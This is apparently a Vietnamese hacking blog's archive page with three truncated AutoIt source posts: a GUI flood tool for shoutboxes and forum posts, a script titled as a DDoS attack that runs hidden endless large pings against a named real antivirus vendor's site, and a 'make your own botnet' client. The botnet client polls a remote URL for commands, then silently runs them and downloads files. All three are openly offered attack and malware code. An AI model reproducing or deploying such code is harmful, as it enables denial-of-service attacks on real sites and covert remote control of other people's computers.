Archive for the ‘ Hack - Security ’ Category
[AutoIt] Source tool Flood có GUI
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Version=beta
#AutoIt3Wrapper_icon=..\..\Desktop\thingsNSP\Babvil.ico
#AutoIt3Wrapper_outfile=..\..\Desktop\T2 Flood\T2 Flood.exe
#AutoIt3Wrapper_Res_Comment=Flood Shoutbox, bai viet, vv
#AutoIt3Wrapper_Res_Description=T2 Flood Beta
#AutoIt3Wrapper_Res_Fileversion=0.0.0.0
#AutoIt3Wrapper_Res_LegalCopyright=Copyright 2009 by thuongtin@gmail.com
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <GuiEdit.au3>
Global $coki
$Form1_1 = GUICreate("o0o T2 Flood Beta o0o", 627, 555, 192, 124, BitOR($WS_MINIMIZEBOX,$WS_SYSMENU,$WS_POPUP,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetBkColor(0x000000)
$T2 = GUICtrlCreateGroup(" o0o T2 Flood Beta o0o ", 24, 96, 577, 113, $BS_CENTER)
GUICtrlSetFont(-1, [ READ MORE ]
Đoạn mã HTTP DDOS attack bkav.com.vn
Thương Tín không chịu trách nhiệm dưới mọi hình thức.
#NoTrayIcon
Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE)
Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE)
Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE)
Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE)
Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE)
Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE)
Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE)
$A1000F05B07 = ProcessList("bkav.exe")
If $A1000F05B07[0][0] [ READ MORE ]
[AutoIT] Tự tạo 1 botnet
#include <Process.au3>
#include <INet.au3>
#NoTrayIcon
$txt = "http://thuongtin.net/blog/cmd/data.txt"
$key = ""
While (1)
$con = _INetGetSource($txt)
If $key <> $con Then
; Phan tich va thuc hien lenh
If StringInStr($con, "#", 2) Then
$cmd = StringSplit($con, "#")
If StringInStr($con, "@#", 2) Then
Run($cmd[2], "", @SW_HIDE)
Else
Run($cmd[2])
EndIf
ElseIf StringInStr($con, "$", 2) Then
$cmd = StringSplit($con, "$")
_RunDOS($cmd[2])
ElseIf StringInStr($con, "!", 2) Then
$cmd = StringSplit($con, " ")
InetGet ($cmd[2], $cmd[3], 0, 1)
ElseIf StringInStr($con, "~", 2) [ READ MORE ]